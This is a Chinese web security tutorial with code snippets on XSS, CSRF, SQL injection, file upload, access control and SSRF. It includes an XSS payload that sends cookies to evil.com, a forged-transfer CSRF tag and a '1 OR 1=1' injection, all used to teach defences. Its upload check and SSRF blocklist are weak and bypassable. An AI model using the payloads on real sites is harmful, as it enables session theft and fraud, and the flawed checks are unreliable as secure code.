Web 安全必知必会：XSS、CSRF、SQL 注入的原理与防护

<!-- 服务端未转义直接输出 -->
<div>搜索结果：<?= $_GET['q'] ?></div>

<!-- 攻击者构造 -->
http://site.com/search?q=<script>fetch('http://evil.com?c='+document.cookie)</script>

// 1. 输出转义
echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

// 2. 富文本白名单过滤
$clean = Security::cleanHtml($html);

// 3. 避免 innerHTML，用 textContent
el.textContent = userInput;

// 4. CSP 响应头
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

<!-- 恶意站点 -->
<img src="http://bank.com/transfer?to=hacker&amount=10000">

// 1. CSRF Token
$_SESSION['token'] = bin2hex(random_bytes(32));
// 表单中
<input type="hidden" name="_token" value="<?= $_SESSION['token'] ?>">
// 校验
if (!hash_equals($_SESSION['token'], $_POST['_token'])) die('非法请求');

// 2. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict; HttpOnly; Secure

// 3. 校验 Referer / Origin

// 危险：字符串拼接
$sql = "SELECT * FROM user WHERE id = " . $_GET['id'];
// 输入：1 OR 1=1
// 实际：SELECT * FROM user WHERE id = 1 OR 1=1

// PDO 预处理
$stmt = $pdo->prepare("SELECT * FROM user WHERE id = ?");
$stmt->execute([$_GET['id']]);

// MyBatis 用 #{} 而非 ${}
@Select("SELECT * FROM user WHERE id = #{id}")
User getById(Long id);

// 校验 MIME + 扩展名 + 重命名 + 禁执行权限
$allowed = ['image/jpeg', 'image/png'];
if (!in_array($_FILES['f']['type'], $allowed)) die('类型不允许');
$ext = pathinfo($_FILES['f']['name'], PATHINFO_EXTENSION);
$newName = md5(uniqid()) . '.' . $ext;

// 水平越权：必须校验资源归属
Order order = orderMapper.selectById(orderId);
if (!order.getUserId().equals(currentUser.getId())) {
    throw new ForbiddenException();
}

// 禁止请求内网地址
if (url.contains("127.0.0.1") || url.contains("10.") || url.contains("192.168.")) {
    throw new SecurityException("非法URL");
}